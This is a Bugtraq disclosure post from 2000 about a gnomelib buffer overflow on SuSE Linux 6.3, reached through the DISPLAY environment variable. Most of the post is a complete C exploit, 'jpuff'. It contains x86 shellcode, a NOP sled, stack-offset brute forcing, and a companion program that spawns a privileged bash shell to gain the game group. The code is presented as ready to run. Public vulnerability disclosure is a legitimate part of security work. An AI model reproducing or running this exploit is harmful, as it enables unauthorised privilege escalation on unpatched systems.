SuSE 6.3 Gnomelib buffer overflow
Date: Sat, 29 Apr 2000 02:56:45 +0200
From: bladi <bladi@EUSKALNET.NET>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: SuSE 6.3 Gnomelib buffer overflow
/*
Gnomelib exploit by bladi & aLmUDeNa
All gnome apps have an exploitable buffer overflow
(gnomelib) when get DISPLAY environment variable.
Affected: S.u.S.E Linux: 6.3
Not vulnerable: RedHat 6.x
Linpus Linux release 6.3
Debian
NoTe:
don't forget to put 6M in /tmp
---------(6M.c)---------
void main() {
setuid(geteuid());
setregid(getegid(), getegid());
system("/bin/bash");
}
---------(6M.c)---------
Bueno un saludo a todos los que nos conocen/quieren/odian,
bueno ya llevamos 6 meses y esperamos que dure mucho mas ;*
bladi@euskalnet.net
almudena@hempcultivation.com
*/
#include <stdio.h>
#include <stdlib.h>
#define NOP 0x90
#define RANFROM -1400
#define RANTO -300
int i,x;
char *ptr;
unsigned long *ptr2;
char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/6M";
char buffer[164];
main(int argc, char *argv[])
{ long get_sp(void)
{
__asm__("movl %esp,%eax\n");
}
printf (" jpuff ver: 1.0 \n");
printf (" by \n");
printf (" bladi & aLmUDeNa\n\n");
if (argc < 2 )
{
printf(" Usage ./jpuff <gnome app>\n");
printf(" Try: ./jpuff /opt/gnome/bin/sol => you gain
gid=40(game)\n");
exit(1);
}
for (x=RANFROM;x<RANTO;x=13+x)
{
for(i=0;i<164;i++)
buffer[i]=0x00;
ptr=buffer;
for(i=0;i<22;i++)
*(ptr++)=NOP;
for(i=0;i<strlen(execshell);i++)
*(ptr++)=execshell[i];
ptr2=(long *)ptr;
for(i=0;i<20;i++)
*(ptr2++)=get_sp()+x;
setenv("DISPLAY",buffer,1);
system(argv[1]);
}
printf("\n- --( ExPLoIT DoNE )-- -\n");
printf("Have a lot of fun... ;*\n\n");
return 0;
}
